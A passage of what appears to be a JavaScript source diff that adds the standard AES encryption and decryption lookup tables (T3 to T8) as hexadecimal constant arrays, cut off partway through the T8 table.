0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616]; +const T3 = [0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16]; +const T4 = [0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c]; +// Transformations for decryption +const T5 = [0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742]; +const T6 = [0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857]; +const T7 = [0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8]; +const T8 = [0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 